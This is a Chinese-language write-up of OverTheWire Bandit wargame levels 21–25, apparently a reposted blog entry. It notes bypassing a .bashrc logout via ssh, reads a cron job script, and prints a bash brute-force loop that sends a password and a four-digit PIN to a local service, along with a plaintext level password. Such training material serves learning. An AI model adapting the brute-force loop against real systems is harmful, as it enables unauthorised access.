OverTheWire的Bandit题
来源:互联网 发布:网络语音肝是啥意思 编辑:程序博客网 时间:2024/05/19 18:42
题目:
http://overthewire.org/wargames/bandit/bandit21.html
Write-up:
https://rundata.wordpress.com/2013/03/21/overthewire-bandit-wargame-solutions-1-24/
https://github.com/Cathon/mySolutions/blob/master/overthewire/Bandit/Level_23.md
一个文件解压可以这么多步骤
用openssl加密数据与服务端通信
$ openssl s_client -ign_eof -connect localhost:30000
用nc连接到本地的某端口之后,传一个字符串过去,就可以得到服务端的响应–下一关的密码
在~/.bashrc
里面写让你退出的逻辑
你登录的时候会执行 .bashrc
里面的脚本,然后有人在 .bashrc
里面写了让你退出的脚本,于是你就退出了。但是可以用其他方法,只是ssh的时候就指明你要使用什么命令就可以执行那个命令了
比如 ssh bandit@localhost cat readme
就在ssh登录上那个机器之后第一时间执行了cat readme
打印出当前目录的readme文件,里面就是下一关的密码
原来nc连接建立成功之后需要nc的服务端需要发送一个消息,而不是客户端
我了个擦这哪来的timeout命令,自己写的吧
timeout -s 9 60 "./$i"
还要有帮助选项
一个以某帐号在后台运行的任务持续定期查看某目录下的文件,并执行它然后删掉它
bandit23@melinda:/tmp/cqq23$ cat /usr/bin/cronjob_bandit24.sh#!/bin/bashmyname=$(whoami)cd /var/spool/$mynameecho "Executing and deleting all scripts in /var/spool/$myname:"for i in * .*;do if [ "$i" != "." -a "$i" != ".." ]; then echo "Handling $i" timeout -s 9 60 "./$i" rm -f "./$i" fidone
对于当前目录的所有可见文件()和隐藏文件(.), 除去 .
和 ..
之外的任何其他文件都会在60s之后执行,然后删掉。
第24->25需要暴力破解
$ vim brute.shpass="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"for i in {1000..10000}do {if echo $pass $i| nc localhost 30002 | grep Wrong > /dev/nullthen echo $ielse echo $pass $i| nc localhost 30002 exitfi}done$ chmod +x brute.sh$ ./brute.sh
大概半个小时之后,终于出来了
如果这种echo $pass $i | nc localhost 30002
不行的话,加上一句cat
。即echo "$pass $i"; cat | nc localhost 30002
0 0
- OverTheWire的Bandit题
- OverTheWire的Natas题
- 【overthewire】Vortex
- overthewire朝花夕拾
- WeChall - overthewire
- Song Of The Bandit 真正的乡村音乐
- Bandit:一种简单而强大的在线学习算法
- 推荐系统的EE问题及Bandit算法
- Bandit:一种简单而强大的在线学习算法
- Bandit:一种简单而强大的在线学习算法
- OverTheWire之Vortex
- OverTheWire之Leviathan
- Bandit Walkthrough
- Bandit破解
- bandit regret
- 改进 RSS Bandit 应用程序
- n-armed bandit problem
- n-armed bandit problem
- 玩玩python之两个猥琐的爬虫
- 服务器公网打开问题
- 写个小爬虫爬下迅雷会员
- 文章标题
- 上转型 下转型
- OverTheWire的Bandit题
- address list
- HDU 5969 最大的位或
- 装tensorflow未果
- 已知两个链表A和B分别表示两个集合,其元素递增排列。请设计算法求出两个集合A和B的差集(即仅由在A中出现而不在B中出现的元素所构成的集合),并以同样的形式存储,同时返回该集合的元素个数。
- 树莓派和pc通过网线建立内网
- JavaScript之继承
- boost::function用法
- 多态&强制类型转换&抽象类和接口